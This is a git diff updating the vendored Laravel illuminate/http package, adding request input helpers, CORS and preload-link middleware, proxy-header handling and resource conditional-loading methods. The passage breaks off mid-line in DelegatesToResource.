b/vendor/illuminate/http/Concerns/InteractsWithInput.php @@ -7,6 +7,7 @@ use Illuminate\Support\Facades\Date; use SplFileInfo; use stdClass; +use Symfony\Component\HttpFoundation\InputBag; use Symfony\Component\VarDumper\VarDumper; trait InteractsWithInput @@ -60,7 +61,7 @@ public function bearerToken() if ($position !== false) { $header = substr($header, $position + 7); - return strpos($header, ',') !== false ? strstr($header, ',', true) : $header; + return str_contains($header, ',') ? strstr($header, ',', true) : $header; } } @@ -224,7 +225,28 @@ public function missing($key) } /** - * Determine if the given input key is an empty string for "has". + * Apply the callback if the request is missing the given input item key. + * + * @param string $key + * @param callable $callback + * @param callable|null $default + * @return $this|mixed + */ + public function whenMissing($key, callable $callback, callable $default = null) + { + if ($this->missing($key)) { + return $callback(data_get($this->all(), $key)) ?: $this; + } + + if ($default) { + return $default(); + } + + return $this; + } + + /** + * Determine if the given input key is an empty string for "filled". * * @param string $key * @return bool @@ -283,6 +305,30 @@ public function input($key = null, $default = null) ); } + /** + * Retrieve input from the request as a Stringable instance. + * + * @param string $key + * @param mixed $default + * @return \Illuminate\Support\Stringable + */ + public function str($key, $default = null) + { + return $this->string($key, $default); + } + + /** + * Retrieve input from the request as a Stringable instance. + * + * @param string $key + * @param mixed $default + * @return \Illuminate\Support\Stringable + */ + public function string($key, $default = null) + { + return str($this->input($key, $default)); + } + /** * Retrieve input as a boolean value. * @@ -297,6 +343,30 @@ public function boolean($key = null, $default = false) return filter_var($this->input($key, $default), FILTER_VALIDATE_BOOLEAN); } + /** + * Retrieve input as an integer value. + * + * @param string $key + * @param int $default + * @return int + */ + public function integer($key, $default = 0) + { + return intval($this->input($key, $default)); + } + + /** + * Retrieve input as a float value. + * + * @param string $key + * @param float $default + * @return float + */ + public function float($key, $default = 0.0) + { + return floatval($this->input($key, $default)); + } + /** * Retrieve input from the request as a Carbon instance. * @@ -304,6 +374,8 @@ public function boolean($key = null, $default = false) * @param string|null $format * @param string|null $tz * @return \Illuminate\Support\Carbon|null + * + * @throws \Carbon\Exceptions\InvalidFormatException */ public function date($key, $format = null, $tz = null) { @@ -318,6 +390,26 @@ public function date($key, $format = null, $tz = null) return Date::createFromFormat($format, $this->input($key), $tz); } + /** + * Retrieve input from the request as an enum. + * + * @template TEnum + * + * @param string $key + * @param class-string $enumClass + * @return TEnum|null + */ + public function enum($key, $enumClass) + { + if ($this->isNotFilled($key) || + ! enum_exists($enumClass) || + ! method_exists($enumClass, 'tryFrom')) { + return null; + } + + return $enumClass::tryFrom($this->input($key)); + } + /** * Retrieve input from the request as a collection. * @@ -497,7 +589,7 @@ public function file($key = null, $default = null) * Retrieve a parameter item from a given source. * * @param string $source - * @param string $key + * @param string|null $key * @param string|array|null $default * @return string|array|null */ @@ -507,14 +599,18 @@ protected function retrieveItem($source, $key, $default) return $this->$source->all(); } + if ($this->$source instanceof InputBag) { + return $this->$source->all()[$key] ?? $default; + } + return $this->$source->get($key, $default); } /** * Dump the request items and end the script. * - * @param mixed $keys - * @return void + * @param mixed ...$keys + * @return never */ public function dd(...$keys) { diff --git a/vendor/illuminate/http/Exceptions/PostTooLargeException.php b/vendor/illuminate/http/Exceptions/PostTooLargeException.php index 75f6cdde3..d5bbc60dc 100644 --- a/vendor/illuminate/http/Exceptions/PostTooLargeException.php +++ b/vendor/illuminate/http/Exceptions/PostTooLargeException.php @@ -10,13 +10,13 @@ class PostTooLargeException extends HttpException /** * Create a new "post too large" exception instance. * - * @param string|null $message + * @param string $message * @param \Throwable|null $previous * @param array $headers * @param int $code * @return void */ - public function __construct($message = null, Throwable $previous = null, array $headers = [], $code = 0) + public function __construct($message = '', Throwable $previous = null, array $headers = [], $code = 0) { parent::__construct(413, $message, $previous, $headers, $code); } diff --git a/vendor/illuminate/http/Exceptions/ThrottleRequestsException.php b/vendor/illuminate/http/Exceptions/ThrottleRequestsException.php index c09393174..d6c6e3368 100644 --- a/vendor/illuminate/http/Exceptions/ThrottleRequestsException.php +++ b/vendor/illuminate/http/Exceptions/ThrottleRequestsException.php @@ -10,13 +10,13 @@ class ThrottleRequestsException extends TooManyRequestsHttpException /** * Create a new throttle requests exception instance. * - * @param string|null $message + * @param string $message * @param \Throwable|null $previous * @param array $headers * @param int $code * @return void */ - public function __construct($message = null, Throwable $previous = null, array $headers = [], $code = 0) + public function __construct($message = '', Throwable $previous = null, array $headers = [], $code = 0) { parent::__construct(null, $message, $previous, $code, $headers); } diff --git a/vendor/illuminate/http/FileHelpers.php b/vendor/illuminate/http/FileHelpers.php index 36ed55bea..27af645aa 100644 --- a/vendor/illuminate/http/FileHelpers.php +++ b/vendor/illuminate/http/FileHelpers.php @@ -53,4 +53,14 @@ public function hashName($path = null) return $path.$hash.$extension; } + + /** + * Get the dimensions of the image (if applicable). + * + * @return array|null + */ + public function dimensions() + { + return @getimagesize($this->getRealPath()); + } } diff --git a/vendor/illuminate/http/JsonResponse.php b/vendor/illuminate/http/JsonResponse.php index 84a68f971..25006c3f6 100644 --- a/vendor/illuminate/http/JsonResponse.php +++ b/vendor/illuminate/http/JsonResponse.php @@ -16,7 +16,7 @@ class JsonResponse extends BaseJsonResponse } /** - * Constructor. + * Create a new JSON response instance. * * @param mixed $data * @param int $status @@ -37,7 +37,7 @@ public function __construct($data = null, $status = 200, $headers = [], $options * * @return static */ - public static function fromJsonString(?string $data = null, int $status = 200, array $headers = []) + public static function fromJsonString(?string $data = null, int $status = 200, array $headers = []): static { return new static($data, $status, $headers, 0, true); } @@ -70,22 +70,19 @@ public function getData($assoc = false, $depth = 512) * * @return static */ - public function setData($data = []) + public function setData($data = []): static { $this->original = $data; // Ensure json_last_error() is cleared... json_decode('[]'); - if ($data instanceof Jsonable) { - $this->data = $data->toJson($this->encodingOptions); - } elseif ($data instanceof JsonSerializable) { - $this->data = json_encode($data->jsonSerialize(), $this->encodingOptions); - } elseif ($data instanceof Arrayable) { - $this->data = json_encode($data->toArray(), $this->encodingOptions); - } else { - $this->data = json_encode($data, $this->encodingOptions); - } + $this->data = match (true) { + $data instanceof Jsonable => $data->toJson($this->encodingOptions), + $data instanceof JsonSerializable => json_encode($data->jsonSerialize(), $this->encodingOptions), + $data instanceof Arrayable => json_encode($data->toArray(), $this->encodingOptions), + default => json_encode($data, $this->encodingOptions), + }; if (! $this->hasValidJson(json_last_error())) { throw new InvalidArgumentException(json_last_error_msg()); @@ -119,7 +116,7 @@ protected function hasValidJson($jsonError) * * @return static */ - public function setEncodingOptions($options) + public function setEncodingOptions($options): static { $this->encodingOptions = (int) $options; diff --git a/vendor/illuminate/http/Middleware/AddLinkHeadersForPreloadedAssets.php b/vendor/illuminate/http/Middleware/AddLinkHeadersForPreloadedAssets.php new file mode 100644 index 000000000..93ca06e95 --- /dev/null +++ b/vendor/illuminate/http/Middleware/AddLinkHeadersForPreloadedAssets.php @@ -0,0 +1,27 @@ +header('Link', Collection::make(Vite::preloadedAssets()) + ->map(fn ($attributes, $url) => "<{$url}>; ".implode('; ', $attributes)) + ->join(', ')); + } + }); + } +} diff --git a/vendor/illuminate/http/Middleware/HandleCors.php b/vendor/illuminate/http/Middleware/HandleCors.php new file mode 100644 index 000000000..eee030511 --- /dev/null +++ b/vendor/illuminate/http/Middleware/HandleCors.php @@ -0,0 +1,112 @@ +container = $container; + $this->cors = $cors; + } + + /** + * Handle the incoming request. + * + * @param \Illuminate\Http\Request $request + * @param \Closure $next + * @return \Illuminate\Http\Response + */ + public function handle($request, Closure $next) + { + if (! $this->hasMatchingPath($request)) { + return $next($request); + } + + $this->cors->setOptions($this->container['config']->get('cors', [])); + + if ($this->cors->isPreflightRequest($request)) { + $response = $this->cors->handlePreflightRequest($request); + + $this->cors->varyHeader($response, 'Access-Control-Request-Method'); + + return $response; + } + + $response = $next($request); + + if ($request->getMethod() === 'OPTIONS') { + $this->cors->varyHeader($response, 'Access-Control-Request-Method'); + } + + return $this->cors->addActualRequestHeaders($response, $request); + } + + /** + * Get the path from the configuration to determine if the CORS service should run. + * + * @param \Illuminate\Http\Request $request + * @return bool + */ + protected function hasMatchingPath(Request $request): bool + { + $paths = $this->getPathsByHost($request->getHost()); + + foreach ($paths as $path) { + if ($path !== '/') { + $path = trim($path, '/'); + } + + if ($request->fullUrlIs($path) || $request->is($path)) { + return true; + } + } + + return false; + } + + /** + * Get the CORS paths for the given host. + * + * @param string $host + * @return array + */ + protected function getPathsByHost(string $host) + { + $paths = $this->container['config']->get('cors.paths', []); + + if (isset($paths[$host])) { + return $paths[$host]; + } + + return array_filter($paths, function ($path) { + return is_string($path); + }); + } +} diff --git a/vendor/illuminate/http/Middleware/SetCacheHeaders.php b/vendor/illuminate/http/Middleware/SetCacheHeaders.php index b42dc2f2f..6229e4cfd 100644 --- a/vendor/illuminate/http/Middleware/SetCacheHeaders.php +++ b/vendor/illuminate/http/Middleware/SetCacheHeaders.php @@ -4,9 +4,30 @@ use Closure; use Illuminate\Support\Carbon; +use Illuminate\Support\Str; +use Symfony\Component\HttpFoundation\BinaryFileResponse; +use Symfony\Component\HttpFoundation\StreamedResponse; class SetCacheHeaders { + /** + * Specify the options for the middleware. + * + * @param array|string $options + * @return string + */ + public static function using($options) + { + if (is_string($options)) { + return static::class.':'.$options; + } + + return collect($options) + ->map(fn ($value, $key) => is_int($key) ? $value : "{$key}={$value}") + ->map(fn ($value) => Str::finish($value, ';')) + ->pipe(fn ($options) => rtrim(static::class.':'.$options->implode(''), ';')); + } + /** * Add cache related HTTP headers. * @@ -21,7 +42,7 @@ public function handle($request, Closure $next, $options = []) { $response = $next($request); - if (! $request->isMethodCacheable() || ! $response->getContent()) { + if (! $request->isMethodCacheable() || (! $response->getContent() && ! $response instanceof BinaryFileResponse && ! $response instanceof StreamedResponse)) { return $response; } @@ -30,7 +51,7 @@ public function handle($request, Closure $next, $options = []) } if (isset($options['etag']) && $options['etag'] === true) { - $options['etag'] = md5($response->getContent()); + $options['etag'] = $response->getEtag() ?? md5($response->getContent()); } if (isset($options['last_modified'])) { diff --git a/vendor/illuminate/http/Middleware/TrustHosts.php b/vendor/illuminate/http/Middleware/TrustHosts.php index 8b563151a..00a5a44c2 100644 --- a/vendor/illuminate/http/Middleware/TrustHosts.php +++ b/vendor/illuminate/http/Middleware/TrustHosts.php @@ -36,7 +36,7 @@ abstract public function hosts(); * Handle the incoming request. * * @param \Illuminate\Http\Request $request - * @param callable $next + * @param \Closure $next * @return \Illuminate\Http\Response */ public function handle(Request $request, $next) @@ -55,7 +55,7 @@ public function handle(Request $request, $next) */ protected function shouldSpecifyTrustedHosts() { - return config('app.env') !== 'local' && + return ! $this->app->environment('local') && ! $this->app->runningUnitTests(); } diff --git a/vendor/illuminate/http/Middleware/TrustProxies.php b/vendor/illuminate/http/Middleware/TrustProxies.php index 872fd3ca2..81906c1f1 100644 --- a/vendor/illuminate/http/Middleware/TrustProxies.php +++ b/vendor/illuminate/http/Middleware/TrustProxies.php @@ -10,7 +10,7 @@ class TrustProxies /** * The trusted proxies for the application. * - * @var array|string|null + * @var array|string|null */ protected $proxies; @@ -19,7 +19,7 @@ class TrustProxies * * @var int */ - protected $headers = Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; + protected $headers = Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_PREFIX | Request::HEADER_X_FORWARDED_AWS_ELB; /** * Handle an incoming request. @@ -92,36 +92,20 @@ protected function setTrustedProxyIpAddressesToTheCallingIp(Request $request) */ protected function getTrustedHeaderNames() { - switch ($this->headers) { - case 'HEADER_X_FORWARDED_AWS_ELB': - case Request::HEADER_X_FORWARDED_AWS_ELB: - return Request::HEADER_X_FORWARDED_AWS_ELB; - - case 'HEADER_FORWARDED': - case Request::HEADER_FORWARDED: - return Request::HEADER_FORWARDED; - - case 'HEADER_X_FORWARDED_FOR': - case Request::HEADER_X_FORWARDED_FOR: - return Request::HEADER_X_FORWARDED_FOR; - - case 'HEADER_X_FORWARDED_HOST': - case Request::HEADER_X_FORWARDED_HOST: - return Request::HEADER_X_FORWARDED_HOST; - - case 'HEADER_X_FORWARDED_PORT': - case Request::HEADER_X_FORWARDED_PORT: - return Request::HEADER_X_FORWARDED_PORT; - - case 'HEADER_X_FORWARDED_PROTO': - case Request::HEADER_X_FORWARDED_PROTO: - return Request::HEADER_X_FORWARDED_PROTO; - - default: - return Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; + if (is_int($this->headers)) { + return $this->headers; } - return $this->headers; + return match ($this->headers) { + 'HEADER_X_FORWARDED_AWS_ELB' => Request::HEADER_X_FORWARDED_AWS_ELB, + 'HEADER_FORWARDED' => Request::HEADER_FORWARDED, + 'HEADER_X_FORWARDED_FOR' => Request::HEADER_X_FORWARDED_FOR, + 'HEADER_X_FORWARDED_HOST' => Request::HEADER_X_FORWARDED_HOST, + 'HEADER_X_FORWARDED_PORT' => Request::HEADER_X_FORWARDED_PORT, + 'HEADER_X_FORWARDED_PROTO' => Request::HEADER_X_FORWARDED_PROTO, + 'HEADER_X_FORWARDED_PREFIX' => Request::HEADER_X_FORWARDED_PREFIX, + default => Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_PREFIX | Request::HEADER_X_FORWARDED_AWS_ELB, + }; } /** diff --git a/vendor/illuminate/http/RedirectResponse.php b/vendor/illuminate/http/RedirectResponse.php index 32bb5fcff..6edd57efe 100644 --- a/vendor/illuminate/http/RedirectResponse.php +++ b/vendor/illuminate/http/RedirectResponse.php @@ -249,7 +249,7 @@ public function __call($method, $parameters) return $this->macroCall($method, $parameters); } - if (Str::startsWith($method, 'with')) { + if (str_starts_with($method, 'with')) { return $this->with(Str::snake(substr($method, 4)), $parameters[0]); } diff --git a/vendor/illuminate/http/Request.php b/vendor/illuminate/http/Request.php index 79175ac44..1a36ec2d0 100644 --- a/vendor/illuminate/http/Request.php +++ b/vendor/illuminate/http/Request.php @@ -5,12 +5,15 @@ use ArrayAccess; use Closure; use Illuminate\Contracts\Support\Arrayable; +use Illuminate\Session\SymfonySessionDecorator; use Illuminate\Support\Arr; use Illuminate\Support\Str; use Illuminate\Support\Traits\Macroable; use RuntimeException; -use Symfony\Component\HttpFoundation\ParameterBag; +use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException; +use Symfony\Component\HttpFoundation\InputBag; use Symfony\Component\HttpFoundation\Request as SymfonyRequest; +use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * @method array validate(array $rules, ...$params) @@ -19,7 +22,8 @@ */ class Request extends SymfonyRequest implements Arrayable, ArrayAccess { - use Concerns\InteractsWithContentTypes, + use Concerns\CanBePrecognitive, + Concerns\InteractsWithContentTypes, Concerns\InteractsWithFlashData, Concerns\InteractsWithInput, Macroable; @@ -27,7 +31,7 @@ class Request extends SymfonyRequest implements Arrayable, ArrayAccess /** * The decoded JSON content for the request. * - * @var \Symfony\Component\HttpFoundation\ParameterBag|null + * @var \Symfony\Component\HttpFoundation\InputBag|null */ protected $json; @@ -136,7 +140,7 @@ public function fullUrlWithQuery(array $query) /** * Get the full URL for the request without the given query string parameters. * - * @param array|string $query + * @param array|string $keys * @return string */ public function fullUrlWithoutQuery($keys) @@ -208,13 +212,7 @@ public function is(...$patterns) { $path = $this->decodedPath(); - foreach ($patterns as $pattern) { - if (Str::is($pattern, $path)) { - return true; - } - } - - return false; + return collect($patterns)->contains(fn ($pattern) => Str::is($pattern, $path)); } /** @@ -238,13 +236,37 @@ public function fullUrlIs(...$patterns) { $url = $this->fullUrl(); - foreach ($patterns as $pattern) { - if (Str::is($pattern, $url)) { - return true; - } - } + return collect($patterns)->contains(fn ($pattern) => Str::is($pattern, $url)); + } + + /** + * Get the host name. + * + * @return string + */ + public function host() + { + return $this->getHost(); + } + + /** + * Get the HTTP host being requested. + * + * @return string + */ + public function httpHost() + { + return $this->getHttpHost(); + } - return false; + /** + * Get the scheme and HTTP host. + * + * @return string + */ + public function schemeAndHttpHost() + { + return $this->getSchemeAndHttpHost(); } /** @@ -275,7 +297,8 @@ public function pjax() public function prefetch() { return strcasecmp($this->server->get('HTTP_X_MOZ') ?? '', 'prefetch') === 0 || - strcasecmp($this->headers->get('Purpose') ?? '', 'prefetch') === 0; + strcasecmp($this->headers->get('Purpose') ?? '', 'prefetch') === 0 || + strcasecmp($this->headers->get('Sec-Purpose') ?? '', 'prefetch') === 0; } /** @@ -366,7 +389,7 @@ public function replace(array $input) * @param mixed $default * @return mixed */ - public function get(string $key, $default = null) + public function get(string $key, mixed $default = null): mixed { return parent::get($key, $default); } @@ -376,12 +399,12 @@ public function get(string $key, $default = null) * * @param string|null $key * @param mixed $default - * @return \Symfony\Component\HttpFoundation\ParameterBag|mixed + * @return \Symfony\Component\HttpFoundation\InputBag|mixed */ public function json($key = null, $default = null) { if (! isset($this->json)) { - $this->json = new ParameterBag((array) json_decode($this->getContent(), true)); + $this->json = new InputBag((array) json_decode($this->getContent(), true)); } if (is_null($key)) { @@ -394,7 +417,7 @@ public function json($key = null, $default = null) /** * Get the input source for the request. * - * @return \Symfony\Component\HttpFoundation\ParameterBag + * @return \Symfony\Component\HttpFoundation\InputBag */ protected function getInputSource() { @@ -416,9 +439,7 @@ public static function createFrom(self $from, $to = null) { $request = $to ?: new static; - $files = $from->files->all(); - - $files = is_array($files) ? array_filter($files) : $files; + $files = array_filter($from->files->all()); $request->initialize( $from->query->all(), @@ -432,9 +453,13 @@ public static function createFrom(self $from, $to = null) $request->headers->replace($from->headers->all()); + $request->setRequestLocale($from->getLocale()); + + $request->setDefaultRequestLocale($from->getDefaultLocale()); + $request->setJson($from->json()); - if ($session = $from->getSession()) { + if ($from->hasSession() && $session = $from->session()) { $request->setLaravelSession($session); } @@ -453,16 +478,18 @@ public static function createFrom(self $from, $to = null) */ public static function createFromBase(SymfonyRequest $request) { - $newRequest = (new static)->duplicate( + $newRequest = new static( $request->query->all(), $request->request->all(), $request->attributes->all(), - $request->cookies->all(), $request->files->all(), $request->server->all() + $request->cookies->all(), (new static)->filterFiles($request->files->all()) ?? [], $request->server->all() ); $newRequest->headers->replace($request->headers->all()); $newRequest->content = $request->content; - $newRequest->request = $newRequest->getInputSource(); + if ($newRequest->isJson()) { + $newRequest->request = $newRequest->json(); + } return $newRequest; } @@ -472,7 +499,7 @@ public static function createFromBase(SymfonyRequest $request) * * @return static */ - public function duplicate(array $query = null, array $request = null, array $attributes = null, array $cookies = null, array $files = null, array $server = null) + public function duplicate(array $query = null, array $request = null, array $attributes = null, array $cookies = null, array $files = null, array $server = null): static { return parent::duplicate($query, $request, $attributes, $cookies, $this->filterFiles($files), $server); } @@ -502,10 +529,28 @@ protected function filterFiles($files) return $files; } + /** + * {@inheritdoc} + */ + public function hasSession(bool $skipIfUninitialized = false): bool + { + return ! is_null($this->session); + } + + /** + * {@inheritdoc} + */ + public function getSession(): SessionInterface + { + return $this->hasSession() + ? new SymfonySessionDecorator($this->session()) + : throw new SessionNotFoundException; + } + /** * Get the session associated with the request. * - * @return \Illuminate\Session\Store + * @return \Illuminate\Contracts\Session\Session * * @throws \RuntimeException */ @@ -519,24 +564,36 @@ public function session() } /** - * Get the session associated with the request. + * Set the session instance on the request. * - * @return \Illuminate\Session\Store|null + * @param \Illuminate\Contracts\Session\Session $session + * @return void */ - public function getSession() + public function setLaravelSession($session) { - return $this->session; + $this->session = $session; } /** - * Set the session instance on the request. + * Set the locale for the request instance. * - * @param \Illuminate\Contracts\Session\Session $session + * @param string $locale * @return void */ - public function setLaravelSession($session) + public function setRequestLocale(string $locale) { - $this->session = $session; + $this->locale = $locale; + } + + /** + * Set the default locale for the request instance. + * + * @param string $locale + * @return void + */ + public function setDefaultRequestLocale(string $locale) + { + $this->defaultLocale = $locale; } /** @@ -590,7 +647,7 @@ public function fingerprint() /** * Set the JSON payload for the request. * - * @param \Symfony\Component\HttpFoundation\ParameterBag $json + * @param \Symfony\Component\HttpFoundation\InputBag $json * @return $this */ public function setJson($json) @@ -655,7 +712,7 @@ public function setRouteResolver(Closure $callback) * * @return array */ - public function toArray() + public function toArray(): array { return $this->all(); } @@ -666,8 +723,7 @@ public function toArray() * @param string $offset * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($offset) + public function offsetExists($offset): bool { $route = $this->route(); @@ -683,8 +739,7 @@ public function offsetExists($offset) * @param string $offset * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($offset) + public function offsetGet($offset): mixed { return $this->__get($offset); } @@ -696,8 +751,7 @@ public function offsetGet($offset) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) + public function offsetSet($offset, $value): void { $this->getInputSource()->set($offset, $value); } @@ -708,8 +762,7 @@ public function offsetSet($offset, $value) * @param string $offset * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($offset) + public function offsetUnset($offset): void { $this->getInputSource()->remove($offset); } @@ -733,8 +786,6 @@ public function __isset($key) */ public function __get($key) { - return Arr::get($this->all(), $key, function () use ($key) { - return $this->route($key); - }); + return Arr::get($this->all(), $key, fn () => $this->route($key)); } } diff --git a/vendor/illuminate/http/Resources/CollectsResources.php b/vendor/illuminate/http/Resources/CollectsResources.php index a4d4faba2..b84c34453 100644 --- a/vendor/illuminate/http/Resources/CollectsResources.php +++ b/vendor/illuminate/http/Resources/CollectsResources.php @@ -2,11 +2,14 @@ namespace Illuminate\Http\Resources; +use Illuminate\Http\Resources\Json\JsonResource; use Illuminate\Pagination\AbstractCursorPaginator; use Illuminate\Pagination\AbstractPaginator; use Illuminate\Support\Collection; use Illuminate\Support\Str; +use LogicException; use ReflectionClass; +use Traversable; trait CollectsResources { @@ -44,15 +47,21 @@ protected function collectResource($resource) */ protected function collects() { - if ($this->collects) { - return $this->collects; - } + $collects = null; - if (Str::endsWith(class_basename($this), 'Collection') && + if ($this->collects) { + $collects = $this->collects; + } elseif (str_ends_with(class_basename($this), 'Collection') && (class_exists($class = Str::replaceLast('Collection', '', get_class($this))) || class_exists($class = Str::replaceLast('Collection', 'Resource', get_class($this))))) { - return $class; + $collects = $class; } + + if (! $collects || is_a($collects, JsonResource::class, true)) { + return $collects; + } + + throw new LogicException('Resource collections must collect instances of '.JsonResource::class.'.'); } /** @@ -78,8 +87,7 @@ public function jsonOptions() * * @return \ArrayIterator */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return $this->collection->getIterator(); } diff --git a/vendor/illuminate/http/Resources/ConditionallyLoadsAttributes.php b/vendor/illuminate/http/Resources/ConditionallyLoadsAttributes.php index 5b8c8d082..0f03ebda8 100644 --- a/vendor/illuminate/http/Resources/ConditionallyLoadsAttributes.php +++ b/vendor/illuminate/http/Resources/ConditionallyLoadsAttributes.php @@ -3,6 +3,7 @@ namespace Illuminate\Http\Resources; use Illuminate\Support\Arr; +use Illuminate\Support\Str; trait ConditionallyLoadsAttributes { @@ -92,7 +93,7 @@ protected function removeMissingValues($data) } /** - * Retrieve a value based on a given condition. + * Retrieve a value if the given "condition" is truthy. * * @param bool $condition * @param mixed $value @@ -108,6 +109,21 @@ protected function when($condition, $value, $default = null) return func_num_args() === 3 ? value($default) : new MissingValue; } + /** + * Retrieve a value if the given "condition" is falsy. + * + * @param bool $condition + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + public function unless($condition, $value, $default = null) + { + $arguments = func_num_args() === 2 ? [$value] : [$value, $default]; + + return $this->when(! $condition, ...$arguments); + } + /** * Merge a value into the array. * @@ -120,15 +136,35 @@ protected function merge($value) } /** - * Merge a value based on a given condition. + * Merge a value if the given condition is truthy. + * + * @param bool $condition + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MergeValue|mixed + */ + protected function mergeWhen($condition, $value, $default = null) + { + if ($condition) { + return new MergeValue(value($value)); + } + + return func_num_args() === 3 ? new MergeValue(value($default)) : new MissingValue(); + } + + /** + * Merge a value unless the given condition is truthy. * * @param bool $condition * @param mixed $value + * @param mixed $default * @return \Illuminate\Http\Resources\MergeValue|mixed */ - protected function mergeWhen($condition, $value) + protected function mergeUnless($condition, $value, $default = null) { - return $condition ? new MergeValue(value($value)) : new MissingValue; + $arguments = func_num_args() === 2 ? [$value] : [$value, $default]; + + return $this->mergeWhen(! $condition, ...$arguments); } /** @@ -144,6 +180,57 @@ protected function attributes($attributes) ); } + /** + * Retrieve an attribute if it exists on the resource. + * + * @param string $attribute + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + public function whenHas($attribute, $value = null, $default = null) + { + if (func_num_args() < 3) { + $default = new MissingValue; + } + + if (! array_key_exists($attribute, $this->resource->getAttributes())) { + return value($default); + } + + return func_num_args() === 1 + ? $this->resource->{$attribute} + : value($value, $this->resource->{$attribute}); + } + + /** + * Retrieve a model attribute if it is null. + * + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + protected function whenNull($value, $default = null) + { + $arguments = func_num_args() == 1 ? [$value] : [$value, $default]; + + return $this->when(is_null($value), ...$arguments); + } + + /** + * Retrieve a model attribute if it is not null. + * + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + protected function whenNotNull($value, $default = null) + { + $arguments = func_num_args() == 1 ? [$value] : [$value, $default]; + + return $this->when(! is_null($value), ...$arguments); + } + /** * Retrieve an accessor when it has been appended. * @@ -179,15 +266,81 @@ protected function whenLoaded($relationship, $value = null, $default = null) return value($default); } + $loadedValue = $this->resource->{$relationship}; + + if (func_num_args() === 1) { + return $loadedValue; + } + + if ($loadedValue === null) { + return; + } + + return value($value, $loadedValue); + } + + /** + * Retrieve a relationship count if it exists. + * + * @param string $relationship + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + public function whenCounted($relationship, $value = null, $default = null) + { + if (func_num_args() < 3) { + $default = new MissingValue; + } + + $attribute = (string) Str::of($relationship)->snake()->finish('_count'); + + if (! isset($this->resource->getAttributes()[$attribute])) { + return value($default); + } + if (func_num_args() === 1) { - return $this->resource->{$relationship}; + return $this->resource->{$attribute}; + } + + if ($this->resource->{$attribute} === null) { + return; + } + + return value($value, $this->resource->{$attribute}); + } + + /** + * Retrieve a relationship aggregated value if it exists. + * + * @param string $relationship + * @param string $column + * @param string $aggregate + * @param mixed $value + * @param mixed $default + * @return \Illuminate\Http\Resources\MissingValue|mixed + */ + public function whenAggregated($relationship, $column, $aggregate, $value = null, $default = null) + { + if (func_num_args() < 5) { + $default = new MissingValue; } - if ($this->resource->{$relationship} === null) { + $attribute = (string) Str::of($relationship)->snake()->append('_')->append($aggregate)->append('_')->finish($column); + + if (! isset($this->resource->getAttributes()[$attribute])) { + return value($default); + } + + if (func_num_args() === 3) { + return $this->resource->{$attribute}; + } + + if ($this->resource->{$attribute} === null) { return; } - return value($value); + return value($value, $this->resource->{$attribute}); } /** @@ -219,13 +372,36 @@ protected function whenPivotLoadedAs($accessor, $table, $value, $default = null) } return $this->when( - $this->resource->$accessor && - ($this->resource->$accessor instanceof $table || - $this->resource->$accessor->getTable() === $table), + $this->hasPivotLoadedAs($accessor, $table), ...[$value, $default] ); } + /** + * Determine if the resource has the specified pivot table loaded. + * + * @param string $table + * @return bool + */ + protected function hasPivotLoaded($table) + { + return $this->hasPivotLoadedAs('pivot', $table); + } + + /** + * Determine if the resource has the specified pivot table loaded with a custom accessor. + * + * @param string $accessor + * @param string $table + * @return bool + */ + protected function hasPivotLoadedAs($accessor, $table) + { + return isset($this->resource->$accessor) && + ($this->resource->$accessor instanceof $table || + $this->resource->$accessor->getTable() === $table); + } + /** * Transform the given value if it is present. * diff --git a/vendor/illuminate/http/Resources/DelegatesToResource.php b/vendor/illuminate/http/Resources/DelegatesToResource.php index 48f455f97..e932646e1 100644 --- a/vendor/illuminate/http/Resources/DelegatesToResource.php +++ b/vendor/illuminate/http/Resources/DelegatesToResource.php @@ -4,10 +4,13 @@ use Exception; use Illuminate\Support\Traits\ForwardsCalls; +use Illuminate\Support\Traits\Macroable; trait DelegatesToResource { - use ForwardsCalls; + use ForwardsCalls, Macroable { + __call as macroCall; + } /** * Get the value of the resource's route key. @@ -64,8 +67,7 @@ public function resolveChildRouteBinding($childType, $value, $field = null) * @param mixed $offset * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($offset) + public function offsetExists($offset): bool { return isset($this->resource[$offset]); } @@ -76,8 +78,7 @@ public function offsetExists($offset) * @param mixed $offset * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($offset) + public function offsetGet($offset): mixed { return $this->resource[$offset]; } @@ -89,8 +90,7 @@ public function offsetGet($offset) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) + public function offsetSet($offset, $value): void { $this->resource[$offset] = $value; } @@ -101,8 +101,7 @@ public function offsetSet($offset, $value) * @param mixed $offset * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($offset) + public function offsetUnset($offset): void { unset($this->resource[$offset]); } @@ -149,6 +148,10 @@ public function __get($key) */ public function __call($method, $parameters) { + if (static::hasMacro($method)) { + return $this->macroCall($method, $parameters); + } + return $this->forwardCallTo($this->resource, $method, 